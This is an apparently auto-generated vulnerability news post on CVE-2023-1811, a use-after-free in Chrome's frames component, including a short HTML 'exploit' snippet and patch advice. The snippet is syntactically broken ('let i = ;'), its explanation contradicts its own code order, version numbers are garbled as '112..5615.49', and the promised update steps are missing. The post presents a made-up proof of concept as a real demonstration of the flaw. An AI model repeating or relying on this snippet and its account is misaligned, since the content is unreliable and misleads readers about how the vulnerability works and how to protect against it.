CVE CyberSecurity Database News

CVE-2023-1811: Critical Use-After-Free Vulnerability in Frames in Google Chrome Versions Prior to 112..5615.49

Poster -

A high severity security vulnerability, dubbed CVE-2023-1811, has been discovered in Google Chrome versions prior to 112..5615.49. This critical use-after-free issue in frames exposes users to potential heap corruption attacks by remote attackers, provided they can trick a user into engaging in specific UI interactions on a malicious HTML page. Heap corruption is a dangerous form of memory manipulation that can ultimately lead to system crashes or malicious code execution. In this blog post, we will delve into the details of this vulnerability and the associated exploit, providing code snippets, original reference links, and information on how to protect yourself from this threat.

Vulnerability Details

The CVE-2023-1811 vulnerability is a use-after-free security issue in the frames component of Google Chrome. It arises when a crafted HTML page manipulates frame objects after they have been released (freed) from the memory heap. By exploiting this vulnerability, a remote attacker can potentially cause heap corruption, subsequently leading to arbitrary code execution or system instability.

To exploit the vulnerability, an attacker must create and host a malicious HTML page specifically crafted to manipulate frame objects. They must then persuade the targeted user to visit the page and engage in a specific UI interaction that triggers the use-after-free vulnerability.

Code snippet illustrating the vulnerability

<!DOCTYPE html>
<html>
<head>
  <script>
    function exploit() {
      // Create an iframe element
      const iframe = document.createElement('iframe');
      document.body.appendChild(iframe);

      // Access frame's window object, triggering use-after-free
      iframe.contentWindow;
      // Cause Heap Corruption
      iframe.remove();
      for (let i = ; i < 10000; i++) {
        const div = document.createElement('div');
        document.body.appendChild(div);
      }
    }
  </script>
</head>
<body>
  <button onclick="exploit()">Trigger Vulnerability</button>
</body>
</html>

In the above code snippet, an iframe element is created, and its window object is accessed after being removed from the DOM (Document Object Model). This action causes heap corruption by allocating and deallocating memory on the heap in a wrong or uncontrolled manner.

The following resources provide detailed information on the CVE-2023-1811 vulnerability

1. Chromium Bug Tracker - Issue 1277361
2. NVD (National Vulnerability Database) - CVE-2023-1811
3. Google Chrome Releases Blog - Stable Channel Update for Desktop

How to Protect Yourself

Google has addressed this vulnerability in Chrome version 112..5615.49. Users are strongly advised to update their browsers to the latest version as soon as possible. To do this, follow these steps:

Conclusion

Properly managing memory and avoiding memory corruption vulnerabilities such as use-after-free issues is essential for maintaining secure software. By updating their browsers, users can protect themselves from the CVE-2023-1811 vulnerability and ensure the security and stability of their systems. Always keep your software up-to-date, and stay informed about the latest security news and updates to minimize your risk of exposure to cyber threats.

Timeline

Published on: 04/04/2023 22:15:00 UTC
Last modified on: 04/13/2023 04:15:00 UTC